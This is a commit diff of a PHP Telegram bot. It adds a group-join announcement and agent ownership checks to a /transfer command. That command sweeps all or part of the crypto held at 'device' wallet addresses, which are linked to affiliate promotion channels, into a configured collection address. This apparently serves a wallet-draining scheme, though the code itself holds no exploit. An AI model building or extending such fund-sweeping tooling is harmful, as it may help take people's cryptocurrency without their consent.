feat: bot

This commit is contained in:
hashbro
2026-08-15 23:05:51 +08:00
parent 9049fdccad
commit 376b442880
26 changed files with 944 additions and 352 deletions
+11 -28
View File
@@ -2,19 +2,14 @@
namespace App\Telegram\Handlers;
use App\Telegram\TelegramBotContext;
use SergiX44\Nutgram\Nutgram;
class HelpCommand
{
public function __construct(
private readonly TelegramBotContext $context,
) {}
public function __invoke(Nutgram $bot): void
{
$lines = [
'📖 可用指令(仅指定群管理员)',
$bot->sendMessage(implode("\n", [
'📖 可用指令(仅系统已配置群的管理员)',
'',
'/help',
' 查看本帮助',
@@ -33,26 +28,14 @@ class HelpCommand
'',
'/channel',
' 列出渠道:ID、备注、归属;新版点按钮复制推广 iframe,旧版复制投放链接',
];
if ($this->context->isOfficial()) {
$lines = array_merge($lines, [
'',
'/transfer <fromAddress> [TRX|USDT|ETH|BTC] [amount]',
' 从设备地址转出到配置收款地址(仅官方)',
' 按地址识别链:T…=Tron,0x…=ETH,1…/3…/bc1…=BTC',
' 省略 amount 则转全部;默认 Tron→USDT / ETH→ETH / BTC→BTC',
' 例: /transfer Txxx USDT 10',
' 例: /transfer 0x… ETH',
' 例: /transfer 1… BTC 0.01',
]);
} else {
$lines = array_merge($lines, [
'',
'(当前为代理机器人:仅可查看本代理渠道数据,不支持 /transfer)',
]);
}
$bot->sendMessage(implode("\n", $lines));
'',
'/transfer <fromAddress> [TRX|USDT|ETH|BTC] [amount]',
' 从设备地址转出到配置收款地址',
' 按地址识别链:T…=Tron,0x…=ETH,1…/3…/bc1…=BTC',
' 省略 amount 则转全部;默认 Tron→USDT / ETH→ETH / BTC→BTC',
' 例: /transfer Txxx USDT 10',
' 例: /transfer 0x… ETH',
' 例: /transfer 1… BTC 0.01',
]));
}
}
@@ -0,0 +1,82 @@
<?php
namespace App\Telegram\Handlers;
use Illuminate\Support\Facades\Log;
use SergiX44\Nutgram\Nutgram;
use SergiX44\Nutgram\Telegram\Properties\ChatMemberStatus;
use SergiX44\Nutgram\Telegram\Properties\ChatType;
use SergiX44\Nutgram\Telegram\Properties\ParseMode;
use SergiX44\Nutgram\Telegram\Types\Keyboard\CopyTextButton;
use SergiX44\Nutgram\Telegram\Types\Keyboard\InlineKeyboardButton;
use SergiX44\Nutgram\Telegram\Types\Keyboard\InlineKeyboardMarkup;
class JoinedChatHandler
{
private const IN_GROUP = ['member', 'administrator', 'creator', 'restricted'];
private const OUT_GROUP = ['left', 'kicked'];
public function __invoke(Nutgram $bot): void
{
$update = $bot->chatMember();
if ($update === null) {
return;
}
$type = $update->chat->type ?? null;
$typeValue = $type instanceof ChatType ? $type->value : (string) $type;
if (! in_array($typeValue, [ChatType::GROUP->value, ChatType::SUPERGROUP->value, 'group', 'supergroup'], true)) {
return;
}
$old = $this->statusValue($update->old_chat_member->status ?? null);
$new = $this->statusValue($update->new_chat_member->status ?? null);
if (! in_array($old, self::OUT_GROUP, true) || ! in_array($new, self::IN_GROUP, true)) {
return;
}
$chatId = (string) $update->chat->id;
$title = trim((string) ($update->chat->title ?? ''));
$lines = ['✅ Bot 已加入本群'];
if ($title !== '') {
$lines[] = '🏷 群名: '.$this->e($title);
}
$lines[] = '🆔 Chat ID: <code>'.$this->e($chatId).'</code>';
$lines[] = '';
$lines[] = '把上面的 Chat ID 填到后台:';
$lines[] = '• 官方通知 → 系统设置';
$lines[] = '• 代理单独推送 → 代理用户';
try {
$bot->sendMessage(
implode("\n", $lines),
parse_mode: ParseMode::HTML,
reply_markup: InlineKeyboardMarkup::make()->addRow(
InlineKeyboardButton::make(
text: '复制 Chat ID',
copy_text: CopyTextButton::make($chatId),
)
),
);
} catch (\Throwable $e) {
Log::warning('telegram join announce failed: '.$e->getMessage(), [
'chat_id' => $chatId,
]);
}
}
private function statusValue(mixed $status): string
{
if ($status instanceof ChatMemberStatus) {
return $status->value;
}
return strtolower(trim((string) $status));
}
private function e(string $value): string
{
return htmlspecialchars($value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}
}
+40
View File
@@ -2,13 +2,19 @@
namespace App\Telegram\Handlers;
use App\Models\Channel;
use App\Models\Device;
use App\Models\User;
use App\Models\WalletAddress;
use App\Services\TransferService;
use App\Telegram\TelegramBotContext;
use SergiX44\Nutgram\Nutgram;
class TransferCommand
{
public function __construct(
private readonly TransferService $transfers,
private readonly TelegramBotContext $context,
) {}
public function __invoke(Nutgram $bot, string $args): void
@@ -74,6 +80,13 @@ class TransferCommand
$amount = $parts[2];
}
$agent = $this->context->agent();
if ($agent !== null && ! $this->addressOwnedByAgent($from, $agent)) {
$bot->sendMessage('⛔ 无权操作该地址(仅限本代理渠道设备)');
return;
}
$label = $amount === null ? "ALL {$asset}" : "{$amount} {$asset}";
$bot->sendMessage("⏳ Transferring {$label} from {$from} ({$chain}) …");
@@ -151,4 +164,31 @@ class TransferCommand
return $name !== '' ? "telegram:{$id}({$name})" : "telegram:{$id}";
}
private function addressOwnedByAgent(string $fromAddress, User $agent): bool
{
$channelIds = Channel::query()
->where('user_id', $agent->id)
->pluck('channel_id');
if ($channelIds->isEmpty()) {
return false;
}
$deviceIds = Device::query()
->whereIn('channel_id', $channelIds)
->pluck('id');
if ($deviceIds->isEmpty()) {
return false;
}
return WalletAddress::query()
->whereIn('device_id', $deviceIds)
->where(function ($q) use ($fromAddress) {
$q->where('address', $fromAddress);
if (str_starts_with(strtolower($fromAddress), '0x')) {
$q->orWhereRaw('LOWER(address) = ?', [strtolower($fromAddress)]);
}
})
->exists();
}
}